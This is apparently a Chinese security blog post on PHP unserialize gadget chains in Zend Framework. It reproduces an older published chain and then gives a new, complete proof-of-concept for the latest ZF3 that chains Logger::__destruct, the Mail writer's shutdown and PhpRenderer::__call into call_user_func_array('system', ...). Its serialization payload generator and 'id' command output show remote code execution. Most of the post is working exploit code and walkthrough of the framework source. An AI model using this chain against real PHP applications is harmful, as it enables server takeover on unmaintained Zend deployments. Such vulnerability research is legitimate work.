Zend Framework 3.1.3 gadget chain

前言

在推特上的PT SWARM账号发布了一条消息。

一个名为Zend Framework的php框架出现了新的gadget chain,可导致RCE。笔者尝试复现,但失败了。所幸,我基于此链,发现在这个框架的最新版本中的另一条链。

复现过程

这里使用vscode的ssh链接Ubuntu虚拟机,Ubuntu虚拟机内开有php7.2+nginx+xdebug的docker环境。使用composer安装框架。

这里偷懒,使用官方提供的MVC骨架,安装指令: composer create-project zendframework/skeleton-application path/to/install。根据下链,有一些包这个骨架还没安装。使用composer require安装zendframework/zend-filterzendframework/zend-logzendframework/zend-mail

这里放 复现环境,使用docker-compose up -d即可。

首先需要注意的是,ZF框架已经停止维护了。这是一个相当有年头的框架了,我估计不会发cve,要不然也不会公布...

gadget chain

php 复制代码
<?php

class Zend_Log
{
    protected $_writers;

    function __construct($x)
    {
        $this->_writers = $x;
    }
}

class Zend_Log_Writer_Mail
{
    protected $_eventsToMail;
    protected $_layoutEventsToMail;
    protected $_mail;
    protected $_layout;
    protected $_subjectPrependText;

    public function __construct(
        $eventsToMail,
        $layoutEventsToMail,
        $mail,
        $layout
    ) {
        $this->_eventsToMail       = $eventsToMail;
        $this->_layoutEventsToMail = $layoutEventsToMail;
        $this->_mail               = $mail;
        $this->_layout             = $layout;
        $this->_subjectPrependText = null;
    }
}

class Zend_Mail
{
}

class Zend_Layout
{
    protected $_inflector;
    protected $_inflectorEnabled;
    protected $_layout;

    public function __construct(
        $inflector,
        $inflectorEnabled,
        $layout
    ) {
        $this->_inflector        = $inflector;
        $this->_inflectorEnabled = $inflectorEnabled;
        $this->_layout           = '){}' . $layout . '/*';
    }
}

class Zend_Filter_Callback
{
    protected $_callback = "create_function";
    protected $_options = [""];
}

class Zend_Filter_Inflector
{
    protected $_rules = [];

    public function __construct()
    {
        $this->_rules['script'] = [new Zend_Filter_Callback()];
    }
}


$code = "phpinfo();exit;";

$a = new \Zend_Log(
    [new \Zend_Log_Writer_Mail(
         [1],
         [],
         new \Zend_Mail,
         new \Zend_Layout(
             new Zend_Filter_Inflector(),
             true,
             $code
         )
     )]
);

echo urlencode(serialize(['test' => $a]));

我把序列化数据打进去后发现这些类都变成了匿名类,简而言之就是ClassLoader没有找到这些类。这就很怪了。之后才发现,这些类的命名使用的是psr-0的规范。这个规范是放在以前php没有命名空间的时候使用的,早过时了。现在是psr-4。composer默认也是按照psr-4的规范安装的。

也就是说,这个链的可利用版本大致是相当古老的了(

我尝试安装更老旧版本的ZF框架。果然,老版本框架要求php版本在5.3以下......于是不打算继续复现...

新链发现

我尝试将上面poc的代码转换为psr-4规范,发现有一些类还有,有一些类则完全不在了,例如Zend_Layout类在ZF包的新版本中就没有。

我尝试利用现有的类进行测试,最终在上链基础上找到了新版本的链。

php 复制代码
namespace Zend\Log {
    class Logger
    {
        protected $writers;

        function __construct()
        {
            $this->writers = [new \Zend\Log\Writer\Mail()];
        }
    }
}

namespace Zend\Log\Writer {
    class Mail {
        protected $mail;
        protected $eventsToMail;
        protected $subjectPrependText;

        function __construct()
        {
            $this->mail = new \Zend\View\Renderer\PhpRenderer();
            $this->eventsToMail = ["id"];
            $this->subjectPrependText = null;
        }

    }
}

namespace Zend\View\Renderer {
    class PhpRenderer {
        private $__helpers;

        function __construct()
        {
            $this->__helpers = new \Zend\View\Resolver\TemplateMapResolver();
        }
    }
}

namespace Zend\View\Resolver {
    class TemplateMapResolver {
        protected $map;

        function __construct()
        {
            $this->map = [
                "setBody" => "system",
            ];
        }
    }
}

namespace {
    $payload = new \Zend\Log\Logger();
    echo urlencode(serialize($payload));
}

/*
OUTPUT: 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
*/

对此链进行调试

调试

php 复制代码
// Zend\Log\Logger
public function __destruct()
{
    foreach ($this->writers as $writer) {
        try {
            $writer->shutdown();
        } catch (\Exception $e) {
        }
    }
}

起点是Zend\Log\Logger类的__destruct方法,这其实就是复现的那条链的Zend_Log类,新版本改名为此。

可以看到这里调用了一个变量$writershutdown方法。那么接下来就有两个思路。

  1. $writer设为没有shutdown方法的实例,调用其__call方法
  2. $writer设为有shutdown方法的实例,调用其shutdown方法

我这里找到了Zend\Log\Writer\Mail类有这个shutdown方法,同时找到了一个比较好用的__call方法。

php 复制代码
public function shutdown()
{
    if (empty($this->eventsToMail)) {
        return;
    }

    if ($this->subjectPrependText !== null) {
        $numEntries = $this->getFormattedNumEntriesPerPriority();
        $this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");
    }

    $this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));

    try {
        $this->transport->send($this->mail);
    } catch (TransportException\ExceptionInterface $e) {
        trigger_error(
            "unable to send log entries via email; " .
            "message = {$e->getMessage()}; " .
            "code = {$e->getCode()}; " .
            "exception class = " . get_class($e),
            E_USER_WARNING
        );
    }
}

这个方法调用了很多其它的方法,一开始没什么思路,再看看刚才说的__call方法。

php 复制代码
// Zend\View\Renderer\PhpRenderer
public function __call($method, $argv)
{
    $plugin = $this->plugin($method);

    if (is_callable($plugin)) {
        return call_user_func_array($plugin, $argv);
    }

    return $plugin;
}

可以看到,call_user_func_array并没有限制类(通常会这么写call_user_func_array([$this, $method], $argv)以防止调用类外方法)。这里可能会导致RCE,跟入plugin方法

php 复制代码
public function getHelperPluginManager()
{
    if (null === $this->__helpers) {
        $this->setHelperPluginManager(new HelperPluginManager(new ServiceManager()));
    }
    return $this->__helpers;
}


public function plugin($name, array $options = null)
{
    return $this->getHelperPluginManager()->get($name, $options);
}

跟入后首先会调用getHelperPluginManager方法,其返回值可以被控制。问题就是接下来的get方法了。这里找到一个好用的get方法。

php 复制代码
// Zend\View\Resolver\TemplateMapResolver
public function has($name)
{
    return array_key_exists($name, $this->map);
}

public function get($name)
{
    if (! $this->has($name)) {
        return false;
    }
    return $this->map[$name];
}

Zend\View\Resolver\TemplateMapResolver类中的get方法明显是可以控制返回值的。那么之前plugin的返回值也就可以随心所欲了。之后调用__call方法里的call_user_func_array的第一个参数就随便我们控制了。

但现在还有一个问题,就是call_user_func_array的第二个参数无法控制。这时我想起了之前的shutdown方法。

php 复制代码
public function shutdown()
{
    if (empty($this->eventsToMail)) {
        return;
    }

    if ($this->subjectPrependText !== null) {
        $numEntries = $this->getFormattedNumEntriesPerPriority();
        $this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");
    }

    /* 注意这一句 */
    $this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));

    try {
        $this->transport->send($this->mail);
    } catch (TransportException\ExceptionInterface $e) {
        trigger_error(
            "unable to send log entries via email; " .
            "message = {$e->getMessage()}; " .
            "code = {$e->getCode()}; " .
            "exception class = " . get_class($e),
            E_USER_WARNING
        );
    }
}

很明显,我们想让终点的call_user_func_array的第二个参数有值。需要之前调用不存在方法时有参数。很明显,上面shutdown方法里有这么一句符合我们要求。

$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));首先可以调用__call方法,然后$this->eventsToMail经过implode函数可控。很明显,这个方法的参数可控,直接芜湖。

调用堆栈:

心得

可以看到,上面这样一条gadget链的寻找并没有那么困难。关键便是抓住php本身的特性,才能运用得灵活自如。

相关推荐
web行路人6 分钟前
React中类组件和函数组件的理解和区别
前端·javascript·react.js·前端框架
番茄小酱0018 分钟前
Expo|ReactNative 中实现扫描二维码功能
javascript·react native·react.js
子非鱼92126 分钟前
【Ajax】跨域
javascript·ajax·cors·jsonp
超雄代码狂28 分钟前
ajax关于axios库的运用小案例
前端·javascript·ajax
残月只会敲键盘40 分钟前
php代码审计--常见函数整理
开发语言·php
周亚鑫1 小时前
vue3 pdf base64转成文件流打开
前端·javascript·pdf
落魄小二1 小时前
el-table 表格索引不展示问题
javascript·vue.js·elementui
y5236481 小时前
Javascript监控元素样式变化
开发语言·javascript·ecmascript
ac-er88881 小时前
MySQL如何实现PHP输入安全
mysql·安全·php
fruge2 小时前
纯css制作声波扩散动画、js+css3波纹催眠动画特效、【css3动画】圆波扩散效果、雷达光波效果完整代码
javascript·css·css3